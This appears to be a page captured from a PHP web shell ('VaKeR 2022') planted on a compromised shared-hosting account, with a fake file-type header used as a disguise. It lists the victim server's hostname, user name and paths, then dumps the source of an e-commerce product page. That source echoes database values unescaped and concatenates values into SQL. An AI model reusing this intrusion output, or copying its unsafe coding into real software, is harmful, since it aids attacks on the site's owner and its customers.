.

%PDF- %GIF98; %PNG; . Cyber Programmer
Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_6ca89795/
Upload File :
Current File : /home1/ndkhermy/www/website_6ca89795/shop-details.php
<?php
include('header.php');
include('dbcon.php');
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$sql = "
SELECT
a.*,
c.category
FROM areawecover a
LEFT JOIN arawecovercategory c
ON a.category_id = c.id
WHERE a.id='$id'
";
$run = mysqli_query($conn, $sql);
$product = mysqli_fetch_assoc($run);
if(!$product){
    die("Product Not Found");
}
?>
<style>
    .page-title {
        background: #f8f8f8;
    }

    .page-title .content-box {
        padding: 40px 0 20px;
    }

    .page-title h1 {
        font-size: 42px;
        font-weight: 700;
        margin-bottom: 15px;
    }

    .bread-crumb {
        padding: 0;
        margin: 0;
    }

    .bread-crumb li {
        position: relative;
        list-style: none;
        display: inline-block;
        margin-right: 25px;
        color: #666;
    }

    .bread-crumb li a {
        color: #111;
        font-weight: 600;
    }

    .bread-crumb li:before {
        position: absolute;
        content: '/';
        right: -18px;
        top: 0;
    }

    .bread-crumb li:last-child:before {
        display: none;
    }



    .shop-details {
        padding: 100px 0;
        background: #f8f8f8;
    }

    .product-details-content {
        background: #fff;
        border-radius: 30px;
        padding: 40px;
        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.06);
    }


    .bx-wrapper {
        margin-bottom: 0 !important;
        border: none !important;
        box-shadow: none !important;
        background: transparent !important;
    }

    .image-inner {
        background: #f5f5f5;
        border-radius: 25px;
        overflow: hidden;
        padding: 20px;
    }

    .image-box img {
        width: 100%;
        border-radius: 20px;
        transition: 0.4s;
    }

    .image-box:hover img {
        transform: scale(1.05);
    }

    .thumb-wrapper {
        display: flex;
        gap: 15px;
        justify-content: center;
        flex-wrap: wrap;
        margin-top: 25px;
    }

    .thumb-wrapper a {
        width: 85px;
        height: 85px;
        overflow: hidden;
        border-radius: 12px;
        border: 2px solid #eee;
        transition: 0.3s;
    }

    .thumb-wrapper a.active,
    .thumb-wrapper a:hover {
        border-color: #ff6b00;
        transform: translateY(-3px);
    }

    .thumb-wrapper img {
        width: 100%;
        height: 100%;
        object-fit: cover;
    }



    .content-box {
        padding-left: 30px;
    }

    .product-tag {
        display: inline-block;
        background: #fff1e7;
        color: #ff6b00;
        padding: 8px 18px;
        border-radius: 50px;
        font-weight: 600;
        margin-bottom: 20px;
    }

    .content-box h2 {
        font-size: 42px;
        line-height: 54px;
        margin-bottom: 20px;
        font-weight: 700;
    }

    .rating-box {
        display: flex;
        align-items: center;
        gap: 15px;
        margin-bottom: 20px;
        flex-wrap: wrap;
    }

    .rating {
        display: flex;
        gap: 5px;
        margin: 0;
        padding: 0;
    }

    .rating li {
        list-style: none;
        color: #ffb400;
    }

    .content-box h3 {
        font-size: 45px;
        color: #ff6b00;
        margin-bottom: 20px;
        font-weight: 700;
    }

    .content-box p {
        color: #666;
        line-height: 32px;
    }

    .product-info {
        margin: 30px 0;
        padding: 0;
    }

    .product-info li {
        list-style: none;
        margin-bottom: 12px;
    }

    .product-info strong {
        min-width: 120px;
        display: inline-block;
    }



    .size-box {
        margin-bottom: 35px;
    }

    .size-options {
        display: flex;
        gap: 15px;
        flex-wrap: wrap;
    }

    .size-options input {
        display: none;
    }

    .size-options span {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        min-width: 90px;
        height: 48px;
        border: 2px solid #eee;
        border-radius: 10px;
        cursor: pointer;
        font-weight: 600;
        transition: 0.3s;
    }

    .size-options input:checked+span {
        background: #ff6b00;
        border-color: #ff6b00;
        color: #fff;
    }



    .cart-section {
        display: flex;
        gap: 20px;
        align-items: center;
        flex-wrap: wrap;
        margin-bottom: 35px;
    }

    .quantity-box {
        display: flex;
        align-items: center;
        border: 1px solid #ddd;
        border-radius: 12px;
        overflow: hidden;
    }

    .quantity-box button {
        width: 55px;
        height: 55px;
        border: none;
        background: #f5f5f5;
        font-size: 22px;
        transition: 0.3s;
    }

    .quantity-box button:hover {
        background: #ff6b00;
        color: #fff;
    }

    .quantity-box input {
        width: 70px;
        border: none;
        text-align: center;
        font-size: 18px;
        font-weight: 600;
    }

    .cart-btn {
        height: 55px;
        padding: 0 40px;
        border: none;
        border-radius: 12px;
        background: #ff6b00;
        color: #fff;
        font-weight: 600;
        transition: 0.3s;
    }

    .cart-btn:hover {
        background: #111;
    }
    
    .payment-option {
        padding-top: 25px;
        border-top: 1px solid #eee;
    }

    .payment-option p {
        font-weight: 600;
        margin-bottom: 15px;
    }

    .payment-img {
        display: flex;
        gap: 12px;
        flex-wrap: wrap;
    }

    .payment-img img {
        height: 35px;
    }
    .product-tabs {
        margin-top: 60px;
        background: #fff;
        border-radius: 30px;
        padding: 40px;
        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.05);
    }

    .tab-btns {
        display: flex;
        gap: 15px;
        flex-wrap: wrap;
        margin-bottom: 30px;
        padding: 0;
    }

    .tab-btn {
        list-style: none;
        padding: 14px 30px;
        background: #f5f5f5;
        border-radius: 10px;
        cursor: pointer;
        transition: 0.3s;
        font-weight: 600;
    }

    .tab-btn.active {
        background: #ff6b00;
        color: #fff;
    }

    .tab-content {
        display: none;
        border: 1px solid #eee;
        border-radius: 20px;
        padding: 35px;
    }

    .tab-content.active {
        display: block;
    }

    .single-review {
        border: 1px solid #eee;
        border-radius: 20px;
        padding: 30px;
    }



    @media(max-width:991px) {

        .content-box {
            padding-left: 0;
            margin-top: 40px;
        }

        .content-box h2 {
            font-size: 34px;
            line-height: 46px;
        }
    }

    @media(max-width:767px) {

        .shop-details {
            padding: 70px 0;
        }

        .product-details-content,
        .product-tabs {
            padding: 20px;
        }

        .content-box h2 {
            font-size: 28px;
            line-height: 40px;
        }

        .content-box h3 {
            font-size: 34px;
        }

        .cart-section {
            flex-direction: column;
            align-items: flex-start;
        }

        .cart-btn {
            width: 100%;
        }

        .tab-btn {
            width: 100%;
            text-align: center;
        }

        .thumb-wrapper a {
            width: 70px;
            height: 70px;
        }
    }
</style>
<section class="page-title centred pt_20 pb_70">
    <div class="large-container">
        <div class="content-box">
            <h1>Shop Details</h1>

            <ul class="bread-crumb clearfix">
                <li><a href="index.php">Home</a></li>
                <li><?php echo $product['title']; ?></li>
            </ul>
        </div>
    </div>
</section>

<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/bxslider/4.2.17/jquery.bxslider.min.css">

<section class="shop-details pb_70">
    <div class="large-container">

        <div class="product-details-content">

            <div class="row clearfix">

                <!-- IMAGE -->
                <div class="col-lg-6 col-md-12 col-sm-12 image-column">
                    <div class="image-inner">
                        <div class="image-box">
                            <img src="admin/dataimg/<?php echo $product['image']; ?>"
                                 alt="<?php echo htmlspecialchars($product['title']); ?>">
                        </div>
                    </div>
                </div>
                <!-- CONTENT -->
                <div class="col-lg-6 col-md-12 col-sm-12 content-column">

                    <div class="content-box">

                        <span class="product-tag">
                            <?php echo $product['category']; ?>
                        </span>

                        <h2>
                            <?php echo $product['title']; ?>
                        </h2>

                        <!-- RATING -->
                        <div class="rating-box">

                            <!-- <ul class="rating">
                                <li><i class="fa fa-star"></i></li>
                                <li><i class="fa fa-star"></i></li>
                                <li><i class="fa fa-star"></i></li>
                                <li><i class="fa fa-star"></i></li>
                                <li><i class="fa fa-star"></i></li>
                            </ul> -->

                            <span>(5.0 Customer Reviews)</span>

                        </div>

                        <div class="price-box">

                            <h3>
                                ₹<?php echo $product['price']; ?>
                            </h3>

                        </div>

                        <!-- DESCRIPTION -->
                        <div class="mb-4">
                            <?php echo $product['content']; ?>
                        </div>
                        <div class="product-info mb-4">
                            <p>
                                <strong>Stock :</strong>
                                <?php echo $product['stock']; ?>
                            </p>
                            <p>
                                <strong>Weight :</strong>
                                <?php echo $product['weight']; ?>
                            </p>
                            <p>
                                <strong>Status :</strong>

                                <?php
                                if($product['status']==1){
                                    echo "Available";
                                }else{
                                    echo "Unavailable";
                                }
                                ?>
                            </p>
                        </div>
                        <div class="size-box">
                            <h5 class="mb-2">
                                Select Quantity
                            </h5>

                            <div class="size-options">

                                <label>
                                    <input type="radio"
                                           name="size"
                                           checked>
                                    <span>1 Qty</span>
                                </label>

                                <label>
                                    <input type="radio"
                                           name="size">
                                    <span>2 Qty</span>
                                </label>

                                <label>
                                    <input type="radio"
                                           name="size">
                                    <span>5 Qty</span>
                                </label>

                            </div>

                        </div>

                        <!-- CART -->

                        <div class="cart-section">

                            <div class="quantity-box">

                                <button type="button"
                                        class="qty-minus">
                                    -
                                </button>

                                <input type="text"
                                       value="1"
                                       id="quantity">

                                <button type="button"
                                        class="qty-plus">
                                    +
                                </button>

                            </div>
                            <button class="theme-btn cart-btn">
                                Add To Cart
                            </button>
                        </div>
                        <!-- PAYMENT -->
                        <div class="payment-option">
                            <p>
                                Guaranteed Safe Checkout
                            </p>
                            <div class="payment-img">
                                <img src="assets/images/icons/card-13.png" alt="">
                                <img src="assets/images/icons/card-14.png" alt="">
                                <img src="assets/images/icons/card-15.png" alt="">
                                <img src="assets/images/icons/card-16.png" alt="">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>
<!-- RELATED PRODUCTS -->
<section class="shop-page-section pb_80">
    <div class="large-container">
        <div class="sec-title mb_40">
            <h2>Related Products</h2>
        </div>

        <div class="row">

            <?php

            $related = mysqli_query(
                $conn,
                "SELECT *
                 FROM areawecover
                 WHERE category_id='".$product['category_id']."'
                 AND id!='".$product['id']."'
                 AND status='1'
                 ORDER BY id DESC
                 LIMIT 4"
            );

            while($row=mysqli_fetch_assoc($related))
            {
            ?>

            <div class="col-lg-3 col-md-6 col-sm-12">

                <div class="shop-block-one">

                    <div class="inner-box">

                        <div class="image-box">

                            <figure class="image">

                                <a href="shop-details.php?id=<?php echo $row['id']; ?>">

                                    <img src="admin/dataimg/<?php echo $row['image']; ?>"
                                         alt="<?php echo $row['title']; ?>">

                                </a>

                            </figure>

                        </div>

                        <div class="lower-content">

                            <h5>
                                <a href="shop-details.php?id=<?php echo $row['id']; ?>">
                                    <?php echo $row['title']; ?>
                                </a>
                            </h5>

                            <h6>
                                ₹<?php echo $row['price']; ?>
                            </h6>

                        </div>

                    </div>

                </div>

            </div>

            <?php } ?>

        </div>

    </div>

</section>

<section class="highlights-section alternat-2">

    <div class="large-container">

        <div class="inner-container clearfix">

            <div class="shape"
                 style="background-image:url(assets/images/shape/shape-10.png);">
            </div>

            <div class="highlights-block-one">

                <div class="inner-box">

                    <div class="icon-box">
                        <img src="assets/images/icons/icon-20.png" alt="">
                    </div>

                    <h5>Same day Product Delivery</h5>

                </div>

            </div>

        </div>

    </div>

</section>

<?php include 'footer.php'; ?>
VaKeR 2022